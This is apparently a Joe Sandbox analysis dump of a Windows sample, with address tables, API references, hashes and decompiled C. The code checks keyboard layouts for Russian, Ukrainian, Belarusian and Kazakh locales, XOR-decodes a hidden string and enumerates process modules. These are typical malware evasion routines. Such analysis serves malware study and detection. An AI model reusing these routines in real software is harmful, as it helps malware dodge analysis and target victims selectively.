                                                          0x00402266
                                                          0x0040226c
                                                          0x0040227e
                                                          0x0040227e
                                                          0x00402280
                                                          0x00402285
                                                          0x00000000
                                                          0x0040226e
                                                          0x0040226e
                                                          0x00402271
                                                          0x00402279
                                                          0x0040227c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040227c
                                                          0x0040226c
                                                          0x004020a5
                                                          0x004020a5
                                                          0x004020a7
                                                          0x004022ea
                                                          0x004022ef
                                                          0x004022ef
                                                          0x004022f4
                                                          0x004022f5
                                                          0x004022f6
                                                          0x004022f7
                                                          0x004022f8
                                                          0x004022f9
                                                          0x004022fa
                                                          0x004022fb
                                                          0x004022fc
                                                          0x004022fd
                                                          0x004022fe
                                                          0x004022ff
                                                          0x00402300
                                                          0x00402303
                                                          0x00402304
                                                          0x00402306
                                                          0x00402309
                                                          0x00402310
                                                          0x00402312
                                                          0x00402315
                                                          0x0040231d
                                                          0x0040231d
                                                          0x00402324
                                                          0x00402329
                                                          0x00402330
                                                          0x004020ad
                                                          0x004020b2
                                                          0x004020b9
                                                          0x004020bb
                                                          0x004020be
                                                          0x004020c1
                                                          0x004020c5
                                                          0x004020c7
                                                          0x004020c9
                                                          0x004020ce
                                                          0x004020d5
                                                          0x004020da
                                                          0x004020dd
                                                          0x00000000
                                                          0x004020dd
                                                          0x004020a7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401e4c
                                                          0x00401e3c
                                                          0x00401e25
                                                          0x00401ca9

                                                          APIs
                                                          • InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401BB5
                                                          • InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401BD4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FileInternet$PointerRead
                                                          • String ID: text
                                                          • API String ID: 3197321146-999008199
                                                          • Opcode ID: cfdcce2f7d42716a26e30f2f88d0c2f3e955756d4473bc2f3cae5c265880f9cb
                                                          • Instruction ID: 0e1f74b2381a2c47a752bf63778d692da1f3e37b415f6d44e4533426c8fd4264
                                                          • Opcode Fuzzy Hash: cfdcce2f7d42716a26e30f2f88d0c2f3e955756d4473bc2f3cae5c265880f9cb
                                                          • Instruction Fuzzy Hash: FDC17A70A002189FEB24CF25CD85BEAB7B9FF48704F1045E9E40AA7291DB75AE85CF54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E00404D40(void* __ebx, int* __ecx) {
                                                          				intOrPtr _v8;
                                                          				int _v16;
                                                          				char _v20;
                                                          				signed int _v24;
                                                          				intOrPtr _v28;
                                                          				signed int _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				intOrPtr _v44;
                                                          				intOrPtr _v48;
                                                          				signed int _v52;
                                                          				intOrPtr _v56;
                                                          				intOrPtr _v60;
                                                          				long _v64;
                                                          				char _v80;
                                                          				char _v81;
                                                          				signed int _v88;
                                                          				intOrPtr _v92;
                                                          				intOrPtr _v96;
                                                          				long _v100;
                                                          				int _v104;
                                                          				int _v120;
                                                          				char _v284;
                                                          				char _v288;
                                                          				char _v292;
                                                          				char _v540;
                                                          				struct HKL__* _v1564;
                                                          				int* _v1568;
                                                          				int _v1572;
                                                          				int _v1576;
                                                          				int _v1580;
                                                          				long _v1584;
                                                          				int _v1588;
                                                          				int _v1604;
                                                          				int* _v1608;
                                                          				intOrPtr _v1628;
                                                          				char _v1636;
                                                          				signed int _v1640;
                                                          				intOrPtr _v1652;
                                                          				intOrPtr _v1656;
                                                          				signed int _v1660;
                                                          				intOrPtr _v1696;
                                                          				intOrPtr _v1700;
                                                          				signed int _v1752;
                                                          				char _v2002;
                                                          				short _v2004;
                                                          				int* _v2020;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t130;
                                                          				signed int _t131;
                                                          				int _t134;
                                                          				int _t137;
                                                          				intOrPtr* _t139;
                                                          				intOrPtr _t143;
                                                          				int _t145;
                                                          				signed int _t151;
                                                          				signed int _t152;
                                                          				intOrPtr _t155;
                                                          				intOrPtr _t164;
                                                          				signed int _t170;
                                                          				short _t172;
                                                          				signed int _t177;
                                                          				signed int _t183;
                                                          				signed char _t189;
                                                          				signed char* _t190;
                                                          				void* _t195;
                                                          				long _t196;
                                                          				intOrPtr _t197;
                                                          				intOrPtr _t198;
                                                          				intOrPtr _t202;
                                                          				intOrPtr _t203;
                                                          				intOrPtr _t204;
                                                          				int _t208;
                                                          				void* _t212;
                                                          				signed int _t213;
                                                          				void* _t220;
                                                          				signed int _t222;
                                                          				int _t223;
                                                          				void* _t224;
                                                          				intOrPtr _t232;
                                                          				int _t234;
                                                          				int _t237;
                                                          				signed int* _t238;
                                                          				signed int _t248;
                                                          				intOrPtr* _t249;
                                                          				signed int _t255;
                                                          				long _t259;
                                                          				void* _t260;
                                                          				void* _t264;
                                                          				signed char* _t265;
                                                          				signed int _t267;
                                                          				void* _t268;
                                                          				signed int _t269;
                                                          				void* _t270;
                                                          				int* _t271;
                                                          				void* _t272;
                                                          				int* _t274;
                                                          				void* _t275;
                                                          				void* _t276;
                                                          				signed int _t277;
                                                          				void* _t279;
                                                          				void* _t280;
                                                          				intOrPtr _t281;
                                                          				signed int _t284;
                                                          				signed int _t286;
                                                          				signed int _t288;
                                                          				void* _t290;
                                                          				signed int _t293;
                                                          				signed int _t294;
                                                          				void* _t297;
                                                          				signed int _t299;
                                                          
                                                          				_push(__ebx);
                                                          				_t220 = _t290;
                                                          				_t293 = (_t290 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t220 + 4));
                                                          				_t284 = _t293;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c572);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t220);
                                                          				_t294 = _t293 - 0x630;
                                                          				_t130 =  *0x43d054; // 0x6e36c9b5
                                                          				_t131 = _t130 ^ _t284;
                                                          				_v32 = _t131;
                                                          				_push(_t131);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t274 = __ecx;
                                                          				_v1568 = __ecx;
                                                          				_v1608 = __ecx;
                                                          				asm("xorps xmm0, xmm0");
                                                          				_v1572 = 0;
                                                          				asm("movq [esi], xmm0");
                                                          				__ecx[2] = 0;
                                                          				 *__ecx = 0;
                                                          				__ecx[1] = 0;
                                                          				__ecx[2] = 0;
                                                          				_v16 = 0;
                                                          				_v1572 = 1;
                                                          				_t134 = GetKeyboardLayoutList(0x400,  &_v1564);
                                                          				_t267 = 0;
                                                          				_v1568 = _t134;
                                                          				if(_t134 <= 0) {
                                                          					L12:
                                                          					 *[fs:0x0] = _v24;
                                                          					_pop(_t268);
                                                          					_pop(_t275);
                                                          					return E0040EBBF(_t274, _t220, _v32 ^ _t284, _t259, _t268, _t275);
                                                          				} else {
                                                          					do {
                                                          						_t137 =  *(_t284 + _t267 * 4 - 0x610) & 0x0000ffff;
                                                          						_v1576 = _t137;
                                                          						GetLocaleInfoA(_t137, 2,  &_v540, 0x1f4); // executed
                                                          						_t139 =  &_v540;
                                                          						_v1604 = 0;
                                                          						_v1588 = 0;
                                                          						_t260 = _t139 + 1;
                                                          						_v1584 = 0xf;
                                                          						_v1604 = 0;
                                                          						do {
                                                          							_t232 =  *_t139;
                                                          							_t139 = _t139 + 1;
                                                          						} while (_t232 != 0);
                                                          						E004026B0(_t220,  &_v1604,  &_v540, _t139 - _t260);
                                                          						_t234 = _v1576;
                                                          						_v1580 = _t234;
                                                          						_v16 = 1;
                                                          						_t143 =  *((intOrPtr*)(_t274 + 4));
                                                          						if(_t143 ==  *((intOrPtr*)(_t274 + 8))) {
                                                          							_push( &_v1604);
                                                          							_push(_t143);
                                                          							E0040CC40(_t220, _t274, _t267, _t274);
                                                          							_t259 = _v1584;
                                                          						} else {
                                                          							asm("movups xmm0, [ebp-0x638]");
                                                          							_t259 = 0xf;
                                                          							_v1604 = 0;
                                                          							asm("movups [eax], xmm0");
                                                          							asm("movq xmm0, [ebp-0x628]");
                                                          							asm("movq [eax+0x10], xmm0");
                                                          							 *(_t143 + 0x18) = _t234;
                                                          							 *((intOrPtr*)(_t274 + 4)) =  *((intOrPtr*)(_t274 + 4)) + 0x1c;
                                                          						}
                                                          						_v16 = 0;
                                                          						if(_t259 < 0x10) {
                                                          							goto L11;
                                                          						} else {
                                                          							_t237 = _v1604;
                                                          							_t259 = _t259 + 1;
                                                          							_t145 = _t237;
                                                          							if(_t259 < 0x1000) {
                                                          								L10:
                                                          								_push(_t259);
                                                          								E0040EDFF(_t237);
                                                          								_t294 = _t294 + 8;
                                                          								goto L11;
                                                          							} else {
                                                          								_t237 =  *(_t237 - 4);
                                                          								_t259 = _t259 + 0x23;
                                                          								if(_t145 - _t237 + 0xfffffffc > 0x1f) {
                                                          									E00413527(_t220, _t259, __eflags);
                                                          									asm("int3");
                                                          									_push(_t284);
                                                          									_t286 = _t294;
                                                          									_push(0xffffffff);
                                                          									_push(0x42c5b5);
                                                          									_push( *[fs:0x0]);
                                                          									_t297 = _t294 - 0x5c;
                                                          									_t151 =  *0x43d054; // 0x6e36c9b5
                                                          									_t152 = _t151 ^ _t286;
                                                          									_v1640 = _t152;
                                                          									_push(_t220);
                                                          									_push(_t274);
                                                          									_push(_t267);
                                                          									_push(_t152);
                                                          									 *[fs:0x0] =  &_v1636;
                                                          									_t222 = 0;
                                                          									_t238 =  &_v1660;
                                                          									asm("xorps xmm0, xmm0");
                                                          									_v1696 = 0;
                                                          									asm("movq [ebp-0x24], xmm0");
                                                          									_v1652 = 0;
                                                          									E00404D40(0, _t238); // executed
                                                          									_v1628 = 0;
                                                          									_t155 = _v1656;
                                                          									_t269 = _v1660;
                                                          									_v1700 = _t155;
                                                          									__eflags = _t269 - _t155;
                                                          									if(_t269 == _t155) {
                                                          										L41:
                                                          										_t223 = 0;
                                                          										__eflags = 0;
                                                          										goto L42;
                                                          									} else {
                                                          										_v40 = 0x5d5d5b7c;
                                                          										_v36 = 0x2e404f47;
                                                          										_t281 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          										_v96 = _t281;
                                                          										do {
                                                          											E0040BB90(_t222,  &_v80, _t259, _t269, _t269);
                                                          											_v56 =  *((intOrPtr*)(_t269 + 0x18));
                                                          											_v20 = 1;
                                                          											_t188 =  *0x451008;
                                                          											__eflags =  *0x451008 -  *((intOrPtr*)(_t281 + 4));
                                                          											if( *0x451008 >  *((intOrPtr*)(_t281 + 4))) {
                                                          												E0040EF48(_t188, 0x451008);
                                                          												_t297 = _t297 + 4;
                                                          												__eflags =  *0x451008 - 0xffffffff;
                                                          												if(__eflags == 0) {
                                                          													_t62 =  &_v40; // 0x5d5d5b7c
                                                          													 *0x450d20 =  *_t62;
                                                          													_t63 =  &_v36; // 0x2e404f47
                                                          													 *0x450d24 =  *_t63;
                                                          													E0040F25B( &_v80, __eflags, 0x42cee0);
                                                          													E0040EEFE(0x451008);
                                                          													_t297 = _t297 + 8;
                                                          												}
                                                          											}
                                                          											_t189 =  *0x450d27; // 0x0
                                                          											__eflags = _t189;
                                                          											if(_t189 != 0) {
                                                          												 *0x450d20 =  *0x450d20 ^ 0x0000002e;
                                                          												 *0x450d21 =  *0x450d21 ^ 0x0000002e;
                                                          												 *0x450d22 =  *0x450d22 ^ 0x0000002e;
                                                          												 *0x450d23 =  *0x450d23 ^ 0x0000002e;
                                                          												 *0x450d24 =  *0x450d24 ^ 0x0000002e;
                                                          												 *0x450d25 =  *0x450d25 ^ 0x0000002e;
                                                          												 *0x450d26 =  *0x450d26 ^ 0x0000002e;
                                                          												_t213 = _t189 ^ 0x0000002e;
                                                          												__eflags = _t213;
                                                          												 *0x450d27 = _t213;
                                                          											}
                                                          											_t190 = 0x450d20;
                                                          											_v120 = 0;
                                                          											_v104 = 0;
                                                          											_v100 = 0xf;
                                                          											_t67 =  &(_t190[1]); // 0x450d21
                                                          											_t265 = _t67;
                                                          											do {
                                                          												_t255 =  *_t190;
                                                          												_t190 =  &(_t190[1]);
                                                          												__eflags = _t255;
                                                          											} while (_t255 != 0);
                                                          											E004026B0(_t222,  &_v120, 0x450d20, _t190 - _t265);
                                                          											_t274 = _v80;
                                                          											_t259 = _v64;
                                                          											__eflags = _v100 - 0x10;
                                                          											_v88 = _t222 | 0x00000001;
                                                          											_t223 = _v120;
                                                          											_t194 =  >=  ? _t223 :  &_v120;
                                                          											__eflags = _v60 - 0x10;
                                                          											_t238 =  >=  ? _t274 :  &_v80;
                                                          											_t195 = E00402890(_t238, _t259, _t238,  >=  ? _t223 :  &_v120, _v104);
                                                          											_t297 = _t297 + 0xc;
                                                          											__eflags = _t195 - 0xffffffff;
                                                          											if(_t195 != 0xffffffff) {
                                                          												L25:
                                                          												_v81 = 1;
                                                          											} else {
                                                          												__eflags = _v60 - 0x10;
                                                          												_t259 = _v64;
                                                          												_t238 =  >=  ? _t274 :  &_v80;
                                                          												_t212 = E00402890(_t238, _t259, _t238, 0x439a6c, 7);
                                                          												_t297 = _t297 + 0xc;
                                                          												_v81 = 0;
                                                          												__eflags = _t212 - 0xffffffff;
                                                          												if(_t212 != 0xffffffff) {
                                                          													goto L25;
                                                          												}
                                                          											}
                                                          											_v88 = _v88 & 0xfffffffe;
                                                          											_t196 = _v100;
                                                          											__eflags = _t196 - 0x10;
                                                          											if(_t196 < 0x10) {
                                                          												L30:
                                                          												__eflags = _v81;
                                                          												if(_v81 != 0) {
                                                          													L46:
                                                          													_t197 = _v60;
                                                          													__eflags = _t197 - 0x10;
                                                          													if(_t197 < 0x10) {
                                                          														L50:
                                                          														_t269 = _v52;
                                                          														_t223 = 1;
                                                          														L42:
                                                          														__eflags = _t269;
                                                          														if(_t269 == 0) {
                                                          															L52:
                                                          															 *[fs:0x0] = _v28;
                                                          															_pop(_t270);
                                                          															_pop(_t276);
                                                          															_pop(_t224);
                                                          															__eflags = _v32 ^ _t286;
                                                          															return E0040EBBF(_t223, _t224, _v32 ^ _t286, _t259, _t270, _t276);
                                                          														} else {
                                                          															_push(_t238);
                                                          															E0040D380(_t269, _v48, _t269, _t274);
                                                          															_t277 = _v52;
                                                          															_t299 = _t297 + 4;
                                                          															_t259 = (0x92492493 * (_v44 - _t277) >> 0x20) + _v44 - _t277 >> 4;
                                                          															_t164 = _t277;
                                                          															_t248 = ((_t259 >> 0x1f) + _t259) * 8 - (_t259 >> 0x1f) + _t259 << 2;
                                                          															__eflags = _t248 - 0x1000;
                                                          															if(_t248 < 0x1000) {
                                                          																L51:
                                                          																_push(_t248);
                                                          																E0040EDFF(_t277);
                                                          																goto L52;
                                                          															} else {
                                                          																_t277 =  *((intOrPtr*)(_t277 - 4));
                                                          																_t248 = _t248 + 0x23;
                                                          																__eflags = _t164 - _t277 + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	E00413527(_t223, _t259, __eflags);
                                                          																	goto L54;
                                                          																} else {
                                                          																	goto L51;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t109 = _t197 + 1; // 0x11
                                                          														_t238 = _t109;
                                                          														_t198 = _t274;
                                                          														__eflags = _t238 - 0x1000;
                                                          														if(_t238 < 0x1000) {
                                                          															L49:
                                                          															_push(_t238);
                                                          															E0040EDFF(_t274);
                                                          															_t297 = _t297 + 8;
                                                          															goto L50;
                                                          														} else {
                                                          															_t277 =  *((intOrPtr*)(_t274 - 4));
                                                          															_t248 = _t238 + 0x23;
                                                          															__eflags = _t198 - _t277 + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L54;
                                                          															} else {
                                                          																goto L49;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t202 = _v56;
                                                          													__eflags = _t202 - 0x419;
                                                          													if(_t202 == 0x419) {
                                                          														goto L46;
                                                          													} else {
                                                          														__eflags = _t202 - 0x422;
                                                          														if(_t202 == 0x422) {
                                                          															goto L46;
                                                          														} else {
                                                          															__eflags = _t202 - 0x423;
                                                          															if(_t202 == 0x423) {
                                                          																goto L46;
                                                          															} else {
                                                          																__eflags = _t202 - 0x43f;
                                                          																if(_t202 == 0x43f) {
                                                          																	goto L46;
                                                          																} else {
                                                          																	_v20 = 0;
                                                          																	_t203 = _v60;
                                                          																	__eflags = _t203 - 0x10;
                                                          																	if(_t203 < 0x10) {
                                                          																		goto L39;
                                                          																	} else {
                                                          																		_t93 = _t203 + 1; // 0x11
                                                          																		_t238 = _t93;
                                                          																		_t204 = _t274;
                                                          																		__eflags = _t238 - 0x1000;
                                                          																		if(_t238 < 0x1000) {
                                                          																			L38:
                                                          																			_push(_t238);
                                                          																			E0040EDFF(_t274);
                                                          																			_t297 = _t297 + 8;
                                                          																			goto L39;
                                                          																		} else {
                                                          																			_t277 =  *((intOrPtr*)(_t274 - 4));
                                                          																			_t248 = _t238 + 0x23;
                                                          																			__eflags = _t204 - _t277 + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L54;
                                                          																			} else {
                                                          																				goto L38;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t86 = _t196 + 1; // 0x11
                                                          												_t238 = _t86;
                                                          												_t208 = _t223;
                                                          												__eflags = _t238 - 0x1000;
                                                          												if(_t238 < 0x1000) {
                                                          													L29:
                                                          													_push(_t238);
                                                          													E0040EDFF(_t223);
                                                          													_t274 = _v80;
                                                          													_t297 = _t297 + 8;
                                                          													goto L30;
                                                          												} else {
                                                          													_t223 =  *(_t223 - 4);
                                                          													_t248 = _t238 + 0x23;
                                                          													__eflags = _t208 - _t223 + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														L54:
                                                          														E00413527(_t223, _t259, __eflags);
                                                          														asm("int3");
                                                          														asm("int3");
                                                          														_push(_t286);
                                                          														_t288 = _t299;
                                                          														_t170 =  *0x43d054; // 0x6e36c9b5
                                                          														_v1752 = _t170 ^ _t288;
                                                          														_push(_t277);
                                                          														_push(_t269);
                                                          														_t271 = _t248;
                                                          														_v2020 = _t271;
                                                          														_v2020 = _t271;
                                                          														_t172 =  *0x439a7c; // 0x3e
                                                          														asm("movq xmm0, [0x439a74]");
                                                          														_v2004 = _t172;
                                                          														asm("movq [ebp-0x108], xmm0");
                                                          														E00410B00(_t271,  &_v2002, 0, 0xfa);
                                                          														_t279 = OpenProcess(0x410, 0, _t259);
                                                          														__eflags = _t279;
                                                          														if(_t279 != 0) {
                                                          															_t183 =  &_v292;
                                                          															__imp__K32EnumProcessModules(_t279, _t183, 4,  &_v288); // executed
                                                          															__eflags = _t183;
                                                          															if(_t183 != 0) {
                                                          																__imp__K32GetModuleBaseNameA(_t279, _v292,  &_v284, 0x104); // executed
                                                          															}
                                                          														}
                                                          														FindCloseChangeNotification(_t279); // executed
                                                          														_t249 =  &_v284;
                                                          														 *_t271 = 0;
                                                          														_t271[4] = 0;
                                                          														_t264 = _t249 + 1;
                                                          														_t271[5] = 0xf;
                                                          														 *_t271 = 0;
                                                          														do {
                                                          															_t177 =  *_t249;
                                                          															_t249 = _t249 + 1;
                                                          															__eflags = _t177;
                                                          														} while (_t177 != 0);
                                                          														E004026B0(_t223, _t271,  &_v284, _t249 - _t264);
                                                          														_pop(_t272);
                                                          														__eflags = _v24 ^ _t288;
                                                          														_pop(_t280);
                                                          														return E0040EBBF(_t271, _t223, _v24 ^ _t288, _t264, _t272, _t280);
                                                          													} else {
                                                          														goto L29;
                                                          													}
                                                          												}
                                                          											}
                                                          											goto L61;
                                                          											L39:
                                                          											_t222 = _v88;
                                                          											_t269 = _t269 + 0x1c;
                                                          											_t281 = _v96;
                                                          											__eflags = _t269 - _v92;
                                                          										} while (_t269 != _v92);
                                                          										_t269 = _v52;
                                                          										goto L41;
                                                          									}
                                                          								} else {
                                                          									goto L10;
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L61;
                                                          						L11:
                                                          						_t267 = _t267 + 1;
                                                          					} while (_t267 < _v1568);
                                                          					goto L12;
                                                          				}
                                                          				L61:
                                                          			}




















































































































                                                          0x00404d40
                                                          0x00404d41
                                                          0x00404d49
                                                          0x00404d50
                                                          0x00404d54
                                                          0x00404d56
                                                          0x00404d58
                                                          0x00404d63
                                                          0x00404d64
                                                          0x00404d65
                                                          0x00404d6b
                                                          0x00404d70
                                                          0x00404d72
                                                          0x00404d77
                                                          0x00404d7b
                                                          0x00404d81
                                                          0x00404d83
                                                          0x00404d89
                                                          0x00404d8f
                                                          0x00404d92
                                                          0x00404d9c
                                                          0x00404da0
                                                          0x00404da7
                                                          0x00404dad
                                                          0x00404db4
                                                          0x00404dc1
                                                          0x00404dce
                                                          0x00404dd8
                                                          0x00404dde
                                                          0x00404de0
                                                          0x00404de8
                                                          0x00404efa
                                                          0x00404eff
                                                          0x00404f07
                                                          0x00404f08
                                                          0x00404f19
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404e07
                                                          0x00404e0d
                                                          0x00404e13
                                                          0x00404e19
                                                          0x00404e23
                                                          0x00404e2d
                                                          0x00404e30
                                                          0x00404e3a
                                                          0x00404e41
                                                          0x00404e41
                                                          0x00404e43
                                                          0x00404e44
                                                          0x00404e58
                                                          0x00404e5d
                                                          0x00404e63
                                                          0x00404e69
                                                          0x00404e70
                                                          0x00404e76
                                                          0x00404eaa
                                                          0x00404eab
                                                          0x00404eae
                                                          0x00404eb3
                                                          0x00404e78
                                                          0x00404e78
                                                          0x00404e7f
                                                          0x00404e84
                                                          0x00404e8b
                                                          0x00404e8e
                                                          0x00404e96
                                                          0x00404e9b
                                                          0x00404e9e
                                                          0x00404e9e
                                                          0x00404eb9
                                                          0x00404ec0
                                                          0x00000000
                                                          0x00404ec2
                                                          0x00404ec2
                                                          0x00404ec8
                                                          0x00404ec9
                                                          0x00404ed1
                                                          0x00404ee3
                                                          0x00404ee3
                                                          0x00404ee5
                                                          0x00404eea
                                                          0x00000000
                                                          0x00404ed3
                                                          0x00404ed3
                                                          0x00404ed6
                                                          0x00404ee1
                                                          0x00404f1a
                                                          0x00404f1f
                                                          0x00404f20
                                                          0x00404f21
                                                          0x00404f23
                                                          0x00404f25
                                                          0x00404f30
                                                          0x00404f31
                                                          0x00404f34
                                                          0x00404f39
                                                          0x00404f3b
                                                          0x00404f3e
                                                          0x00404f3f
                                                          0x00404f40
                                                          0x00404f41
                                                          0x00404f45
                                                          0x00404f4b
                                                          0x00404f4d
                                                          0x00404f50
                                                          0x00404f53
                                                          0x00404f56
                                                          0x00404f5b
                                                          0x00404f5e
                                                          0x00404f63
                                                          0x00404f66
                                                          0x00404f69
                                                          0x00404f6c
                                                          0x00404f6f
                                                          0x00404f71
                                                          0x00405185
                                                          0x00405185
                                                          0x00405185
                                                          0x00000000
                                                          0x00404f77
                                                          0x00404f7d
                                                          0x00404f84
                                                          0x00404f8b
                                                          0x00404f8d
                                                          0x00404f90
                                                          0x00404f94
                                                          0x00404f9c
                                                          0x00404f9f
                                                          0x00404fa3
                                                          0x00404fa8
                                                          0x00404fae
                                                          0x00404fb5
                                                          0x00404fba
                                                          0x00404fbd
                                                          0x00404fc4
                                                          0x00404fc6
                                                          0x00404fc9
                                                          0x00404fce
                                                          0x00404fd6
                                                          0x00404fdb
                                                          0x00404fe8
                                                          0x00404fed
                                                          0x00404fed
                                                          0x00404fc4
                                                          0x00404ff0
                                                          0x00404ff5
                                                          0x00404ff7
                                                          0x00404ff9
                                                          0x00405000
                                                          0x00405007
                                                          0x0040500e
                                                          0x00405015
                                                          0x0040501c
                                                          0x00405023
                                                          0x0040502a
                                                          0x0040502a
                                                          0x0040502c
                                                          0x0040502c
                                                          0x00405031
                                                          0x00405036
                                                          0x0040503d
                                                          0x00405044
                                                          0x0040504b
                                                          0x0040504b
                                                          0x00405050
                                                          0x00405050
                                                          0x00405052
                                                          0x00405053
                                                          0x00405053
                                                          0x00405062
                                                          0x0040506a
                                                          0x00405070
                                                          0x00405079
                                                          0x0040507d
                                                          0x00405080
                                                          0x00405083
                                                          0x00405086
                                                          0x0040508b
                                                          0x0040508f
                                                          0x00405094
                                                          0x00405097
                                                          0x0040509a
                                                          0x004050c2
                                                          0x004050c2
                                                          0x0040509c
                                                          0x0040509c
                                                          0x004050a3
                                                          0x004050a8
                                                          0x004050b1
                                                          0x004050b6
                                                          0x004050b9
                                                          0x004050bd
                                                          0x004050c0
                                                          0x00000000
                                                          0x00000000
                                                          0x004050c0
                                                          0x004050c6
                                                          0x004050ca
                                                          0x004050cd
                                                          0x004050d0
                                                          0x00405100
                                                          0x00405100
                                                          0x00405104
                                                          0x004051e0
                                                          0x004051e0
                                                          0x004051e3
                                                          0x004051e6
                                                          0x0040520f
                                                          0x0040520f
                                                          0x00405212
                                                          0x00405187
                                                          0x00405187
                                                          0x00405189
                                                          0x00405226
                                                          0x0040522b
                                                          0x00405233
                                                          0x00405234
                                                          0x00405235
                                                          0x00405239
                                                          0x00405243
                                                          0x0040518f
                                                          0x00405192
                                                          0x00405195
                                                          0x004051a2
                                                          0x004051a5
                                                          0x004051ae
                                                          0x004051c1
                                                          0x004051c3
                                                          0x004051c6
                                                          0x004051cc
                                                          0x0040521c
                                                          0x0040521c
                                                          0x0040521e
                                                          0x00000000
                                                          0x004051ce
                                                          0x004051ce
                                                          0x004051d1
                                                          0x004051d9
                                                          0x004051dc
                                                          0x00405244
                                                          0x00000000
                                                          0x004051de
                                                          0x00000000
                                                          0x004051de
                                                          0x004051dc
                                                          0x004051cc
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051eb
                                                          0x004051ed
                                                          0x004051f3
                                                          0x00405205
                                                          0x00405205
                                                          0x00405207
                                                          0x0040520c
                                                          0x00000000
                                                          0x004051f5
                                                          0x004051f5
                                                          0x004051f8
                                                          0x00405200
                                                          0x00405203
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405203
                                                          0x004051f3
                                                          0x0040510a
                                                          0x0040510a
                                                          0x0040510d
                                                          0x00405112
                                                          0x00000000
                                                          0x00405118
                                                          0x00405118
                                                          0x0040511d
                                                          0x00000000
                                                          0x00405123
                                                          0x00405123
                                                          0x00405128
                                                          0x00000000
                                                          0x0040512e
                                                          0x0040512e
                                                          0x00405133
                                                          0x00000000
                                                          0x00405139
                                                          0x00405139
                                                          0x0040513d
                                                          0x00405140
                                                          0x00405143
                                                          0x00000000
                                                          0x00405145
                                                          0x00405145
                                                          0x00405145
                                                          0x00405148
                                                          0x0040514a
                                                          0x00405150
                                                          0x00405166
                                                          0x00405166
                                                          0x00405168
                                                          0x0040516d
                                                          0x00000000
                                                          0x00405152
                                                          0x00405152
                                                          0x00405155
                                                          0x0040515d
                                                          0x00405160
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405160
                                                          0x00405150
                                                          0x00405143
                                                          0x00405133
                                                          0x00405128
                                                          0x0040511d
                                                          0x00405112
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d5
                                                          0x004050d7
                                                          0x004050dd
                                                          0x004050f3
                                                          0x004050f3
                                                          0x004050f5
                                                          0x004050fa
                                                          0x004050fd
                                                          0x00000000
                                                          0x004050df
                                                          0x004050df
                                                          0x004050e2
                                                          0x004050ea
                                                          0x004050ed
                                                          0x00405249
                                                          0x00405249
                                                          0x0040524e
                                                          0x0040524f
                                                          0x00405250
                                                          0x00405251
                                                          0x00405259
                                                          0x00405260
                                                          0x00405263
                                                          0x00405264
                                                          0x00405265
                                                          0x00405269
                                                          0x0040526f
                                                          0x00405275
                                                          0x0040527b
                                                          0x00405288
                                                          0x00405298
                                                          0x004052a0
                                                          0x004052b6
                                                          0x004052b8
                                                          0x004052ba
                                                          0x004052c5
                                                          0x004052cd
                                                          0x004052d3
                                                          0x004052d5
                                                          0x004052ea
                                                          0x004052ea
                                                          0x004052d5
                                                          0x004052f1
                                                          0x004052f7
                                                          0x004052fd
                                                          0x00405303
                                                          0x0040530a
                                                          0x0040530d
                                                          0x00405314
                                                          0x00405317
                                                          0x00405317
                                                          0x00405319
                                                          0x0040531a
                                                          0x0040531a
                                                          0x0040532a
                                                          0x00405334
                                                          0x00405335
                                                          0x00405337
                                                          0x00405340
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004050ed
                                                          0x004050dd
                                                          0x00000000
                                                          0x00405170
                                                          0x00405170
                                                          0x00405173
                                                          0x00405176
                                                          0x00405179
                                                          0x00405179
                                                          0x00405182
                                                          0x00000000
                                                          0x00405182
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404ee1
                                                          0x00404ed1
                                                          0x00000000
                                                          0x00404eed
                                                          0x00404eed
                                                          0x00404eee
                                                          0x00000000
                                                          0x00404df0
                                                          0x00000000

                                                          APIs
                                                          • GetKeyboardLayoutList.USER32(00000400,?,6E36C9B5), ref: 00404DD8
                                                          • GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D
                                                          • __Init_thread_footer.LIBCMT ref: 00404FE8
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
